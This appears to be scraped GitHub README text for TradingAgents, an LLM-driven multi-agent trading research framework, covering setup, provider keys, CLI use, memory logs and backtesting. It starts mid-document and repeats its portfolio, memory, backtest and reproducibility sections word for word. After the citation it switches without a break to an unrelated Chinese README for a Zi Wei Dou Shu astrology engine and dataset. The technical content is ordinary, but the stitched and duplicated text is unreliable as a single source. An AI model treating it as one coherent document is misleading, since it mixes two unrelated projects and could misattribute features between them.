\nBy default the agents do not know what you hold, so their guidance is written for a reader who applies it to their own position. Pass a portfolio to have the trader, the risk analysts and the portfolio manager work against your actual book.
\nfrom tradingagents.portfolio import PortfolioContext\n\nportfolio = PortfolioContext.model_validate({\n \"cash\": 25000.0,\n \"currency\": \"USD\",\n \"positions\": [{\"ticker\": \"NVDA\", \"quantity\": 120, \"average_price\": 150.0}],\n})\n_, decision = ta.propagate(\"NVDA\", \"2026-09-01\", portfolio=portfolio)\nThe CLI takes the same content as a JSON file: tradingagents --portfolio my_book.json.
An empty positions list means a flat book, which is different from passing nothing. A run without a portfolio is never treated as flat.
TradingAgents persists two kinds of state across runs.
\nThe memory log is always on. Each completed run appends its decision to ~/.tradingagents/memory/trading_memory.md. While the analysts of a later run work, TradingAgents settles every logged decision whose holding period has passed: it fetches the realised return (raw, and alpha against the instrument's regional benchmark) and generates a one-paragraph reflection. The Portfolio Manager then reads the most recent decisions for the same ticker plus recent lessons from other tickers, so each analysis carries forward what worked and what didn't. If settling fails, the run goes on and its report says so.
Override the path with TRADINGAGENTS_MEMORY_LOG_PATH.
To settle decisions without running an analysis, for a scheduled job, call ta.settle_all_pending(); it returns the decisions it settled and any it could not.
Checkpoint resume is opt-in via --checkpoint. When enabled, LangGraph saves state after each node so a crashed or interrupted run resumes from the last successful step instead of starting over. The run view says whether it resumed a saved run or started fresh. Checkpoints are cleared automatically on successful completion.
Per-ticker SQLite databases live at ~/.tradingagents/cache/checkpoints/<TICKER>.db (override the base with TRADINGAGENTS_CACHE_DIR). Use --clear-checkpoints to reset all of them before a run.
tradingagents --checkpoint # enable for this run\ntradingagents --clear-checkpoints # reset before running\nconfig = DEFAULT_CONFIG.copy()\nconfig[\"checkpoint_enabled\"] = True\nta = TradingAgentsGraph(config=config)\n_, decision = ta.propagate(\"NVDA\", \"2026-09-01\")\nOne run gives one decision, which cannot tell you whether the system decides well. run_backtest runs the same pipeline over a grid of tickers and dates, writes to a memory log of its own, and scores the decisions whose holding window has since traded.
from tradingagents.backtest import iter_grid, run_backtest, summarize\n\ndates = iter_grid(\"2026-06-01\", \"2026-08-01\", every_n_days=7)\nresult = run_backtest([\"NVDA\", \"AAPL\"], dates, config, selected_analysts=[\"market\", \"news\"])\nprint(summarize(result).render())\nFrom the CLI:
\ntradingagents backtest NVDA,AAPL --start 2026-06-01 --end 2026-08-01 --every 7\nEach cell is scored on realized alpha against the instrument's regional benchmark, grouped by rating. A decision is entered at the first close after its date, because a run reads news published after that day's close. Your own memory log is never written to, and re-running the same grid with run_id=result.run_id skips the cells that already ran, so an interrupted sweep continues where it stopped.
TradingAgents is LLM-driven, so two runs of the same ticker and date can differ. This is expected for a research tool built on language models, not a defect. The variation comes from a few distinct sources, and it helps to separate them.
\nLanguage model sampling is non-deterministic. Even at a fixed temperature, providers do not guarantee byte-identical output across calls, and reasoning models (the default GPT-6 family, and any thinking-mode model) vary the most because their internal reasoning is itself sampled.
\nLive data moves. News, StockTwits, and Reddit return different content as time passes, so a run today sees different inputs than a run last week even for the same historical trade date. Pin the analysis date to hold the price and indicator window fixed, but the social and news sources still reflect \"now\".
\nTo reduce variation you can lower the sampling temperature. Set temperature in your config (or TRADINGAGENTS_TEMPERATURE in .env); lower values make models that honor it more repeatable. The current curated models are reasoning-first and largely ignore temperature, so for tighter reproducibility name a non-reasoning model in your config, or in TRADINGAGENTS_DEEP_THINK_LLM and TRADINGAGENTS_QUICK_THINK_LLM. Any model ID your provider serves is accepted, whether or not the picker lists it.
config = DEFAULT_CONFIG.copy()\nconfig[\"llm_provider\"] = \"openai\"\nconfig[\"temperature\"] = 0.0\n# Reasoning models ignore temperature. For tighter reproducibility, name a\n# non-reasoning model in deep_think_llm / quick_think_llm.\nWhat does not vary anymore: the analyzed company identity is resolved deterministically from the ticker before any agent runs, and the market analyst grounds exact price and indicator claims in a verified data snapshot. Earlier reports of \"different companies\" or fabricated price levels across runs are addressed by these two mechanisms.
\nBacktest results are not guaranteed to match any published figure. Returns depend on the model, the temperature, the date range, data quality, and the sampling above. Treat the framework as a research scaffold for studying multi-agent analysis, not as a strategy with a fixed, replicable return.
\nContributions are welcome: bug fixes, documentation, and feature ideas; past contributions are credited per release in CHANGELOG.md.
Please reference our work if you find TradingAgents provides you with some help \ud83d\ude03
\n@misc{xiao2025tradingagentsmultiagentsllmfinancial,\n title={TradingAgents: Multi-Agents LLM Financial Trading Framework}, \n author={Yijia Xiao and Edward Sun and Di Luo and Wei Wang},\n year={2025},\n eprint={2412.20138},\n archivePrefix={arXiv},\n primaryClass={q-fin.TR},\n url={https://arxiv.org/abs/2412.20138}, \n}\nTradingAgents: Multi-Agents LLM Financial Trading Framework
https://arxiv.org/pdf/2412.20138
\n \n \n \n--ticker and --date, the run's settings recorded in every report, and backtests that see only data published by each analysis date.Full release notes are in CHANGELOG.md.
\nTRADINGAGENTS_* env-var configurability with API-key auto-detection, remote Ollama support, non-US alpha benchmarks, and ticker path-traversal hardening.\ud83d\ude80 TradingAgents | \u26a1 Installation & CLI | \ud83c\udfac Demo | \ud83d\udce6 Package Usage | \ud83e\udd1d Contributing | \ud83d\udcc4 Citation
\n\n\n\ud83c\udf89 TradingAgents officially released! We have received numerous inquiries about the work, and we would like to express our thanks for the enthusiasm in our community.
\nSo we decided to fully open-source the framework. Looking forward to building impactful projects with you!
\n
TradingAgents is a multi-agent trading framework that mirrors the dynamics of real-world trading firms. By deploying specialized LLM-powered agents: from fundamental analysts, sentiment experts, and technical analysts, to trader, risk management team, the platform collaboratively evaluates market conditions and informs trading decisions. Moreover, these agents engage in dynamic discussions to pinpoint the optimal strategy.
\n
\n\nTradingAgents framework is designed for research purposes. Trading performance may vary based on many factors, including the chosen backbone language models, model temperature, trading periods, the quality of data, and other non-deterministic factors. It is not intended as financial, investment, or trading advice.
\n
Our framework decomposes complex trading tasks into specialized roles.
\nThe selected analysts work at the same time, each on its own tools, and the research debate starts once all of their reports are in.
\n
Clone TradingAgents:
\ngit clone https://github.com/TauricResearch/TradingAgents.git\ncd TradingAgents\nTradingAgents needs Python 3.11 or later. Create a virtual environment in any of your favorite environment managers:
\nconda create -n tradingagents python=3.13\nconda activate tradingagents\nOr with uv:
\nuv venv --python 3.13\nsource .venv/bin/activate\nInstall the package and its dependencies (uv pip install . with uv):
pip install .\nAlternatively, run with Docker:
\ncp .env.example .env # add your API keys\ndocker compose run --rm tradingagents\nAfter updating the repository, rebuild the image with docker compose build.
Results, reports, the memory log and the cache live in the tradingagents_data volume. To keep them in a folder on the host instead, create the folder and point TRADINGAGENTS_DATA_DIR at it, in .env or the shell: mkdir -p data && TRADINGAGENTS_DATA_DIR=./data docker compose run --rm tradingagents.
For local models with Ollama:
\ndocker compose --profile ollama run --rm tradingagents-ollama\nTradingAgents supports multiple LLM providers. Set the API key for your chosen provider:
\nexport OPENAI_API_KEY=... # OpenAI (GPT)\nexport GOOGLE_API_KEY=... # Google (Gemini)\nexport ANTHROPIC_API_KEY=... # Anthropic (Claude)\nexport XAI_API_KEY=... # xAI (Grok)\nexport DEEPSEEK_API_KEY=... # DeepSeek\nexport DASHSCOPE_API_KEY=... # Qwen (international, dashscope-intl.aliyuncs.com)\nexport DASHSCOPE_CN_API_KEY=... # Qwen (China, dashscope.aliyuncs.com)\nexport ZHIPU_API_KEY=... # GLM via Z.AI (international)\nexport ZHIPU_CN_API_KEY=... # GLM via BigModel (China, open.bigmodel.cn)\nexport MINIMAX_API_KEY=... # MiniMax (global, api.minimax.io)\nexport MINIMAX_CN_API_KEY=... # MiniMax (China, api.minimaxi.com)\nexport OPENROUTER_API_KEY=... # OpenRouter\nexport MISTRAL_API_KEY=... # Mistral\nexport MOONSHOT_API_KEY=... # Kimi (Moonshot)\nexport GROQ_API_KEY=... # Groq\nexport NVIDIA_API_KEY=... # NVIDIA NIM\nexport FRED_API_KEY=... # FRED macro data (free, optional)\nexport ALPHA_VANTAGE_API_KEY=... # Alpha Vantage\nexport TYPESAFE_API_KEY=... # Jev social-post screening (optional)\nFor Azure OpenAI, copy .env.enterprise.example to .env.enterprise and fill in your credentials.
To run on your ChatGPT Plus or Pro plan instead of an API key, choose \"Subscription\" in the CLI's provider menu, or set llm_provider: \"chatgpt\". Sign in once with tradingagents login chatgpt: it prints an address to open in your browser, which returns to this machine on 127.0.0.1. When the browser runs on another machine, or TradingAgents runs in Docker (docker compose run --rm tradingagents login chatgpt), paste the address the browser ends up on. The sign-in is kept in ~/.tradingagents/chatgpt-auth.json, and tradingagents logout chatgpt revokes it. Runs count toward your plan's usage limits, and the plan does not accept temperature or max_tokens.
For AWS Bedrock, install the extra with pip install \".[bedrock]\", set llm_provider: \"bedrock\", configure AWS credentials (environment variables, ~/.aws/credentials, or an IAM role) and AWS_DEFAULT_REGION, and use a Bedrock model ID, e.g. us.anthropic.claude-opus-5-5.
For local models, configure Ollama with llm_provider: \"ollama\". The default endpoint is http://localhost:11434/v1; set OLLAMA_BASE_URL to point at a remote ollama-serve. Pull models with ollama pull <name>, and pick \"Custom model ID\" in the CLI for any model not listed by default.
For any other OpenAI-compatible server (vLLM, LM Studio, llama.cpp, or a custom relay), use llm_provider: \"openai_compatible\" and set the endpoint via backend_url (or TRADINGAGENTS_LLM_BACKEND_URL), e.g. http://localhost:8000/v1 for vLLM or http://localhost:1234/v1 for LM Studio. The model is whatever your server serves. No key is needed for local servers; set OPENAI_COMPATIBLE_API_KEY when the endpoint requires one.
With TYPESAFE_API_KEY set, the Sentiment Analyst screens StockTwits and Reddit posts with TypeSafe's Jev before reading them. Posts that are not about the company are dropped, and each source opens with a count of the remaining posts by stance: bullish, bearish, neutral, or unclear. Without the key, posts pass through unscreened. jev-latest moves with new releases; set TYPESAFE_DEFAULT_MODEL to a versioned ID such as jev-1.13.0 to hold it fixed across runs. To reach Jev through OpenRouter, put an OpenRouter key in TYPESAFE_API_KEY and set TYPESAFE_BASE_URL=https://openrouter.ai/api.
Alternatively, copy .env.example to .env and fill in your keys:
cp .env.example .env\nLaunch the interactive CLI:
\ntradingagents # installed command\npython -m cli.main # alternative: run directly from source\nYou will see a screen where you can select your desired tickers, analysis date, LLM provider, research depth, and more. Your previous run's answers come back as the defaults, so pressing Enter accepts them. The TRADINGAGENTS_* variables in .env still skip their step entirely.
To run without questions, for a scheduled job or a script, answer the per-run steps with flags and the rest with TRADINGAGENTS_* variables:
export TRADINGAGENTS_LLM_PROVIDER=openai TRADINGAGENTS_QUICK_THINK_LLM=gpt-6-luna TRADINGAGENTS_DEEP_THINK_LLM=gpt-6-sol\nexport TRADINGAGENTS_OUTPUT_LANGUAGE=English TRADINGAGENTS_MAX_DEBATE_ROUNDS=1 TRADINGAGENTS_MAX_RISK_ROUNDS=1\ntradingagents --ticker NVDA --date 2026-09-23 --analysts market,news,fundamentals --save --no-show\nEach flag skips only its own question. Run without a terminal, a missing answer stops the run before it starts and names the flag or variable to set.
\nAt start-up the interactive CLI mentions a newer release and notices from Tauric Research. It checks at most once a day, in the background, and sends nothing about your runs; set TRADINGAGENTS_NO_UPDATE_CHECK=1 to turn it off. Runs without a terminal never check.
A saved report also includes complete_report.html, the report as one page with its sections listed beside the text, for reading in a browser, on a phone or in print. Answering the save question at the prompt also asks about the page and can open it in your browser; --no-html skips it, and so does ta.save_reports(state, \"NVDA\", html=False) from Python.
TradingAgents works with any market Yahoo Finance covers, using the exchange-suffixed ticker. Company identity and the alpha benchmark resolve automatically per market.
\nAAPL, SPY0700.HK \u00b7 Tokyo: 7203.T \u00b7 London: AZN.LRELIANCE.NS, .BO \u00b7 Canada: .TO \u00b7 Australia: .AX.SS, Shenzhen .SZ (e.g. 600519.SS for Kweichow Moutai)BTC-USD, ETH-USD
An interface will appear showing results as they load, letting you track the agent's progress as it runs.
\n
We built TradingAgents with LangGraph to ensure flexibility and modularity. The framework supports multiple LLM providers: OpenAI, Google, Anthropic, xAI, DeepSeek, Qwen (Alibaba DashScope, international and China endpoints), GLM (Zhipu), MiniMax (global + China), OpenRouter, Ollama for local models, Azure OpenAI for enterprise, and your own ChatGPT plan.
\nTo use TradingAgents inside your code, you can import the tradingagents module and initialize a TradingAgentsGraph() object. The .propagate() function will return a decision. You can run main.py, here's also a quick example:
from tradingagents.graph.trading_graph import TradingAgentsGraph\nfrom tradingagents.default_config import DEFAULT_CONFIG\n\nta = TradingAgentsGraph(debug=True, config=DEFAULT_CONFIG.copy())\n\n# forward propagate\nstate, decision = ta.propagate(\"NVDA\", \"2026-09-01\")\nprint(decision)\n\n# the same report tree the CLI saves, under results_dir/reports\nta.save_reports(state, \"NVDA\")\nYou can also adjust the default configuration to set your own choice of LLMs, debate rounds, etc.
\nfrom tradingagents.graph.trading_graph import TradingAgentsGraph\nfrom tradingagents.default_config import DEFAULT_CONFIG\n\nconfig = DEFAULT_CONFIG.copy()\nconfig[\"llm_provider\"] = \"openai\" # e.g. openai, google, anthropic, deepseek, groq, ollama; openai_compatible covers any OpenAI-compatible endpoint (vLLM, LM Studio, llama.cpp, ...)\nconfig[\"deep_think_llm\"] = \"gpt-6-sol\" # Model for complex reasoning\nconfig[\"quick_think_llm\"] = \"gpt-6-luna\" # Model for quick tasks\nconfig[\"max_debate_rounds\"] = 2\n\nta = TradingAgentsGraph(debug=True, config=config)\n_, decision = ta.propagate(\"NVDA\", \"2026-09-01\")\nprint(decision)\nThe quick model serves the analysts, researchers, debaters and trader; the deep model serves the research and portfolio managers. Each can run on its own provider, for example the managers on Claude while the rest run on OpenAI:
\nconfig[\"deep_think_provider\"] = \"anthropic\"\nconfig[\"deep_think_llm\"] = \"claude-opus-5-5\"\nA tier on its own provider uses that provider's key and default endpoint; set quick_think_backend_url or deep_think_backend_url for a local or relay endpoint. The TRADINGAGENTS_DEEP_THINK_PROVIDER and TRADINGAGENTS_QUICK_THINK_PROVIDER variables set them for the CLI, together with the tier's model variable.
See tradingagents/default_config.py for all configuration options.
US company statements come from SEC EDGAR, which records the date every figure was filed. A run dated in the past reads the statements exactly as they stood that day: a fiscal year that has ended but has not been filed yet is not served, and a figure restated later still reads as first reported. Apple's 2008 total assets were filed as $39.6B and restated to $36.2B in 2010, so a run dated in between reads $39.6B. EDGAR needs no account or API key.
\nOther companies' statements come from Yahoo Finance, which dates a statement by the period it covers rather than by when it was published. A run dated today reads them; a run dated in the past is told they are withheld, since Yahoo cannot say which figures were public by then.
\nInsider trades are dated by when they happened, not when they were filed, so a run dated in the past is told they are withheld as well.
\nSEC asks callers to identify themselves and refuses requests that carry no contact address, so a default one is sent. Set your own so SEC can reach you rather than the project:
\nSEC_EDGAR_USER_AGENT=\"Your Name your@email.com\"\nIt covers companies that file with the SEC, including foreign companies listed in the US. Anything else, such as Hong Kong or A-share listings, falls through to the next vendor in the chain. EDGAR's machine-readable filings begin in 2009, and a fourth quarter is reported as unavailable rather than derived, because filers publish it only inside the annual figure.
\nBy default the agents do not know what you hold, so their guidance is written for a reader who applies it to their own position. Pass a portfolio to have the trader, the risk analysts and the portfolio manager work against your actual book.
\nfrom tradingagents.portfolio import PortfolioContext\n\nportfolio = PortfolioContext.model_validate({\n \"cash\": 25000.0,\n \"currency\": \"USD\",\n \"positions\": [{\"ticker\": \"NVDA\", \"quantity\": 120, \"average_price\": 150.0}],\n})\n_, decision = ta.propagate(\"NVDA\", \"2026-09-01\", portfolio=portfolio)\nThe CLI takes the same content as a JSON file: tradingagents --portfolio my_book.json.
An empty positions list means a flat book, which is different from passing nothing. A run without a portfolio is never treated as flat.
TradingAgents persists two kinds of state across runs.
\nThe memory log is always on. Each completed run appends its decision to ~/.tradingagents/memory/trading_memory.md. While the analysts of a later run work, TradingAgents settles every logged decision whose holding period has passed: it fetches the realised return (raw, and alpha against the instrument's regional benchmark) and generates a one-paragraph reflection. The Portfolio Manager then reads the most recent decisions for the same ticker plus recent lessons from other tickers, so each analysis carries forward what worked and what didn't. If settling fails, the run goes on and its report says so.
Override the path with TRADINGAGENTS_MEMORY_LOG_PATH.
To settle decisions without running an analysis, for a scheduled job, call ta.settle_all_pending(); it returns the decisions it settled and any it could not.
Checkpoint resume is opt-in via --checkpoint. When enabled, LangGraph saves state after each node so a crashed or interrupted run resumes from the last successful step instead of starting over. The run view says whether it resumed a saved run or started fresh. Checkpoints are cleared automatically on successful completion.
Per-ticker SQLite databases live at ~/.tradingagents/cache/checkpoints/<TICKER>.db (override the base with TRADINGAGENTS_CACHE_DIR). Use --clear-checkpoints to reset all of them before a run.
tradingagents --checkpoint # enable for this run\ntradingagents --clear-checkpoints # reset before running\nconfig = DEFAULT_CONFIG.copy()\nconfig[\"checkpoint_enabled\"] = True\nta = TradingAgentsGraph(config=config)\n_, decision = ta.propagate(\"NVDA\", \"2026-09-01\")\nOne run gives one decision, which cannot tell you whether the system decides well. run_backtest runs the same pipeline over a grid of tickers and dates, writes to a memory log of its own, and scores the decisions whose holding window has since traded.
from tradingagents.backtest import iter_grid, run_backtest, summarize\n\ndates = iter_grid(\"2026-06-01\", \"2026-08-01\", every_n_days=7)\nresult = run_backtest([\"NVDA\", \"AAPL\"], dates, config, selected_analysts=[\"market\", \"news\"])\nprint(summarize(result).render())\nFrom the CLI:
\ntradingagents backtest NVDA,AAPL --start 2026-06-01 --end 2026-08-01 --every 7\nEach cell is scored on realized alpha against the instrument's regional benchmark, grouped by rating. A decision is entered at the first close after its date, because a run reads news published after that day's close. Your own memory log is never written to, and re-running the same grid with run_id=result.run_id skips the cells that already ran, so an interrupted sweep continues where it stopped.
TradingAgents is LLM-driven, so two runs of the same ticker and date can differ. This is expected for a research tool built on language models, not a defect. The variation comes from a few distinct sources, and it helps to separate them.
\nLanguage model sampling is non-deterministic. Even at a fixed temperature, providers do not guarantee byte-identical output across calls, and reasoning models (the default GPT-6 family, and any thinking-mode model) vary the most because their internal reasoning is itself sampled.
\nLive data moves. News, StockTwits, and Reddit return different content as time passes, so a run today sees different inputs than a run last week even for the same historical trade date. Pin the analysis date to hold the price and indicator window fixed, but the social and news sources still reflect \"now\".
\nTo reduce variation you can lower the sampling temperature. Set temperature in your config (or TRADINGAGENTS_TEMPERATURE in .env); lower values make models that honor it more repeatable. The current curated models are reasoning-first and largely ignore temperature, so for tighter reproducibility name a non-reasoning model in your config, or in TRADINGAGENTS_DEEP_THINK_LLM and TRADINGAGENTS_QUICK_THINK_LLM. Any model ID your provider serves is accepted, whether or not the picker lists it.
config = DEFAULT_CONFIG.copy()\nconfig[\"llm_provider\"] = \"openai\"\nconfig[\"temperature\"] = 0.0\n# Reasoning models ignore temperature. For tighter reproducibility, name a\n# non-reasoning model in deep_think_llm / quick_think_llm.\nWhat does not vary anymore: the analyzed company identity is resolved deterministically from the ticker before any agent runs, and the market analyst grounds exact price and indicator claims in a verified data snapshot. Earlier reports of \"different companies\" or fabricated price levels across runs are addressed by these two mechanisms.
\nBacktest results are not guaranteed to match any published figure. Returns depend on the model, the temperature, the date range, data quality, and the sampling above. Treat the framework as a research scaffold for studying multi-agent analysis, not as a strategy with a fixed, replicable return.
\nContributions are welcome: bug fixes, documentation, and feature ideas; past contributions are credited per release in CHANGELOG.md.
Please reference our work if you find TradingAgents provides you with some help \ud83d\ude03
\n@misc{xiao2025tradingagentsmultiagentsllmfinancial,\n title={TradingAgents: Multi-Agents LLM Financial Trading Framework}, \n author={Yijia Xiao and Edward Sun and Di Luo and Wei Wang},\n year={2025},\n eprint={2412.20138},\n archivePrefix={arXiv},\n primaryClass={q-fin.TR},\n url={https://arxiv.org/abs/2412.20138}, \n}\n\u7d2b\u5fae\u6597\u6570\u5f00\u6e90\u6392\u76d8\u5f15\u64ce \u2014 \u57fa\u4e8e\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u4f53\u7cfb\uff0c\u542b\u5b8c\u6574\u6392\u76d8\u7b97\u6cd5\u3001\u56db\u5316\u7cfb\u7edf\u3001\u683c\u5c40\u77e5\u8bc6\u5e93\u3001\u53e4\u7c4d\u539f\u6587\u6570\u636e
https://metisziwei.com/?from=gh-about
![\"CI\"](\"https://github.com/Renhuai123/ziwei-doushu/actions/workflows/ci.yml/badge.svg?sanitize=true\"){kind=icon}
![\"License:](\"https://img.shields.io/badge/code-MIT-blue.svg?sanitize=true\"){kind=icon}
![\"Dataset:](\"https://img.shields.io/badge/dataset-CC%20BY%204.0-green.svg?sanitize=true\"){kind=icon}
\u4e2d\u6587 \u00b7 English
\n\u4e00\u3001\u9879\u76ee\u7406\u5ff5\uff1a\u7d2b\u5fae\u6597\u6570\u662f\u4e2d\u56fd\u4f20\u7edf\u547d\u7406\u5b66\u7684\u7470\u5b9d\uff0c\u502a\u6d77\u53a6\u8001\u5e08\u5728\u300a\u5929\u7eaa\u300b\u4e2d\u7cfb\u7edf\u68b3\u7406\u4e86\u6b63\u5b97\u7684\u7d2b\u5fae\u6597\u6570\u4f53\u7cfb\u3002\u6211\u4eec\u5e0c\u671b\u901a\u8fc7\u6280\u672f\u624b\u6bb5\u8ba9\u66f4\u591a\u4eba\u63a5\u89e6\u548c\u5b66\u4e60\u8fd9\u95e8\u5b66\u95ee\u3002
\n\u5f00\u6e90\u6392\u76d8\u7b97\u6cd5\u548c\u77e5\u8bc6\u5e93\uff0c\u662f\u56e0\u4e3a\u6211\u4eec\u76f8\u4fe1\uff1a\u7b97\u6cd5\u662f\u516c\u5f00\u7684\u4f20\u7edf\u667a\u6167\uff0c\u4e0d\u5e94\u8be5\u88ab\u9501\u5728\u56f4\u5899\u91cc\u3002\u771f\u6b63\u7684\u4ef7\u503c\u5728\u4e8e\u89e3\u8bfb\u7684\u6df1\u5ea6\u3001\u7528\u6237\u4f53\u9a8c\u7684\u6253\u78e8\u3001\u4ee5\u53ca\u6301\u7eed\u8fd0\u8425\u7684\u79ef\u7d2f\u3002
\n\u4e8c\u3001\u9879\u76ee\u4fe1\u606f\uff1a\u57fa\u4e8e\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u6559\u5b66\u4f53\u7cfb\u7684\u7d2b\u5fae\u6597\u6570\u6392\u76d8\u7cfb\u7edf\uff0c\u5305\u542b\u5b8c\u6574\u6392\u76d8\u7b97\u6cd5\u3001\u56db\u5316\u7cfb\u7edf\u3001\u683c\u5c40\u77e5\u8bc6\u5e93\u3001\u53e4\u7c4d\u539f\u6587\u6570\u636e\uff0c\u4ee5\u53ca\u4e00\u5957\u5b8c\u6574\u5f00\u6e90\u7684\u7d2b\u5fae\u6597\u6570\u89e3\u8bfb\u6570\u636e\uff1av4.0 \u89e3\u8bfb\u6570\u636e\u96c6\u2014\u201467.5 \u4e07\u5f20\u547d\u76d8 \u00d7 13 \u7ef4 = 877 \u4e07\u6bb5\u89e3\u8bfb\uff0c\u6b63\u6587\u7ea6 204 \u4ebf\u5b57\uff0c\u89e3\u538b\u540e 56.6 GB\uff082026-10-15 \u53d1\u5e03\uff09\u3002
\n| \u6570\u636e\u96c6 | \n\u547d\u76d8 | \n\u89e3\u8bfb\u6bb5\u6570 | \n\u89e3\u538b\u540e | \n\u8986\u76d6\u5e74\u4efd | \n\u6bcf\u5f20\u76d8\u89e3\u8bfb\u5b57\u6570 | \n
|---|---|---|---|---|---|
| v4.0 \u89e3\u8bfb\u6570\u636e\u96c6\uff082026-10-15\uff09 | \n674,976 | \n8,774,688 | \n56.6 GB | \n1950\u20132026\uff08\u53ea\u542b\u771f\u5b9e\u65e5\u671f\uff09 | \n\u7ea6 3.0 \u4e07\u5b57 | \n
| v3.0 \u6837\u672c\u6570\u636e\u96c6 | \n518,400 | \n6,739,200 | \n33.1 GB | \n1924\u20131983 | \n\u7ea6 2.1 \u4e07\u5b57 | \n
| \u53d8\u5316 | \n+30% | \n+30% | \n+71% | \n+17 \u5e74 | \n+44% | \n
v3.0 \u6bcf\u5f20\u76d8\u89e3\u8bfb\u5b57\u6570\u6309 2,160 \u5f20\u76d8\u62bd\u6837\u4f30\u7b97\uff0c\u5176\u4f59\u6570\u5b57\u4e3a\u5168\u91cf\u7edf\u8ba1\uff1b\u4e24\u7248\u6bcf\u5f20\u76d8\u90fd\u662f 13 \u7ef4\u3002
\n\u5728\u7ebf\u4f53\u9a8c\uff1ametisziwei.com\uff0c\u6392\u76d8\u3001AI \u89e3\u8bfb\u3001\u547d\u76d8\u5386\u53f2\u5168\u90e8\u5f00\u653e\u3002
\n\n\n\u6ce8\uff1a\u5173\u4e8e\u516d\u4eb2\u5224\u65ad
\n\u7d2b\u5fae\u6597\u6570\u5728\u516d\u4eb2\uff08\u7236\u6bcd\u3001\u5144\u5f1f\u3001\u5b50\u5973\u7b49\uff09\u5224\u65ad\u4e0a\u5b58\u5728\u4e00\u5b9a\u5c40\u9650\u3002\u502a\u5e08\u5728\u300a\u5929\u7eaa\u300b\u4e2d\u6307\u51fa\uff1a\u201c\u6597\u6570\u6279\u516d\u4eb2\u672c\u6765\u5c31\u6bd4\u8f83\u5dee\u4e00\u70b9\u3002\u201d\uff082\u4e0a \u00b7 00:25:27\uff09\u5728\u4f20\u7edf\u672f\u6570\u4e2d\uff0c\u94c1\u677f\u795e\u6570\u5728\u6838\u5bf9\u516d\u4eb2\u65b9\u9762\u6709\u5176\u72ec\u7279\u4f18\u52bf\uff082\u4e0a \u00b7 00:03:15\uff09\uff1b\u502a\u5e08\u4ecd\u4ee5\u7d2b\u5fae\u6597\u6570\u4e3a\u6838\u5fc3\uff0c\u662f\u56e0\u4e3a\u5b83\u80fd\u7ed3\u5408\u5730\u7406\u3001\u73af\u5883\u4e0e\u4eba\u4e8b\u8fdb\u884c\u7efc\u5408\u5224\u65ad\uff0c\u5f62\u6210\u201c\u4e0a\u77e5\u5929\u6587\u3001\u4e0b\u77e5\u5730\u7406\u3001\u4e2d\u77e5\u4eba\u4e8b\u201d\u7684\u5b8c\u6574\u4f53\u7cfb\uff082\u4e0a \u00b7 00:25:43\uff09\u3002\u56e0\u6b64\uff0c\u4e0e\u516d\u4eb2\u76f8\u5173\u7684\u5206\u6790\u4ec5\u4f9b\u53c2\u8003\uff1bmetisziwei.com \u4e0a\u7236\u6bcd\u3001\u5144\u5f1f\u3001\u5b50\u5973\u4e09\u4e2a\u7ef4\u5ea6\u4e5f\u9644\u6709\u540c\u6837\u7684\u8bf4\u660e\u3002
\n
| \n | \u7ae0\u8282 | \n\u4e00\u53e5\u8bdd | \n
|---|---|---|
| \u4e00 | \n\u672c\u8f6e\u66f4\u65b0 | \n13 \u7ef4\u65ad\u8bed\u6309\u502a\u5e08\u539f\u8bdd\u4e0e\u300a\u5168\u4e66\u300b\u9010\u53e5\u6821\u6b63\uff0c\u53d1\u5e03 67.5 \u4e07\u547d\u76d8 \u00d7 13 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0 | \n
| \u4e8c\u00b7\u65b0 | \n13 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0 | \n2026-10-15 \u65b0\u7248\u65ad\u8bed\uff0c67.5 \u4e07\u547d\u76d8\uff0c\u6309\u5e74\u4efd\u4e0b\u8f7d | \n
| \u4e8c | \n51.8 \u4e07\u547d\u76d8\u6837\u672c\u6570\u636e\u96c6 | \n\u89c4\u683c\u3001\u4e0b\u8f7d\u3001\u7528\u9014\u3001\u8bb8\u53ef | \n
| \u4e09 | \n\u5feb\u901f\u5f00\u59cb | \n\u514b\u9686\u5230\u8dd1\u8d77\u6765 | \n
| \u56db | \n\u6392\u76d8\u5f15\u64ce | \n\u80fd\u505a\u5230\u4ec0\u4e48\u3001\u6587\u4ef6\u600e\u4e48\u5206\u3001\u53e4\u7c4d\u6570\u636e | \n
| \u4e94 | \n\u502a\u5e08\u300a\u5929\u7eaa\u00b7\u7d2b\u5fae\u6597\u6570\u300b\u539f\u8bdd | \n14 \u8bb2 + 2 \u6bb5\u8865\u5145\u30011848 \u6761\uff0c\u4e00\u56fe\u770b\u5168\uff0c\u6bcf\u6761\u53ef\u56de\u653e | \n
| \u516d | \n\u754c\u9762\u662f\u4e00\u4efd Demo | \n\u4e0d\u662f\u7ebf\u4e0a\u90a3\u5957\uff0c\u5dee\u8ddd\u5199\u660e | \n
| \u4e03 | \n\u5f00\u6e90\u8fb9\u754c | \n\u4ec0\u4e48\u5f00\u6e90\u3001\u4ec0\u4e48\u4e0d\u5f00\u6e90 | \n
| \u516b | \n\u7ef4\u62a4\u8282\u594f\u4e0e\u8d21\u732e | \n\u540c\u6b65\u8282\u594f\u3001issue / PR \u53e3\u5f84 | \n
| \u4e5d | \n\u534f\u8bae | \n\u4ee3\u7801 MIT / \u6570\u636e CC BY 4.0 / \u53e4\u7c4d\u516c\u7248 / \u502a\u5e08\u539f\u8bdd\u975e\u5546\u7528 | \n
| \u5341 | \n\u5173\u4e8e\u4e0e\u8054\u7cfb | \n\u9879\u76ee\u7406\u5ff5\u3001\u6280\u672f\u6808\u3001\u8054\u7cfb\u65b9\u5f0f | \n
\u672c\u8f6e\u8ddf\u968f\u7f51\u7ad9 2026-10-15 \u53d1\u7248\uff08\u7f51\u7ad9\u5185\u5bb9\u7248\u672c ca268829f7a9\uff09\uff1a
![\"\u672c\u8f6e\u66f4\u65b0\u603b\u89c8\"](\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/update-20261015.png\")
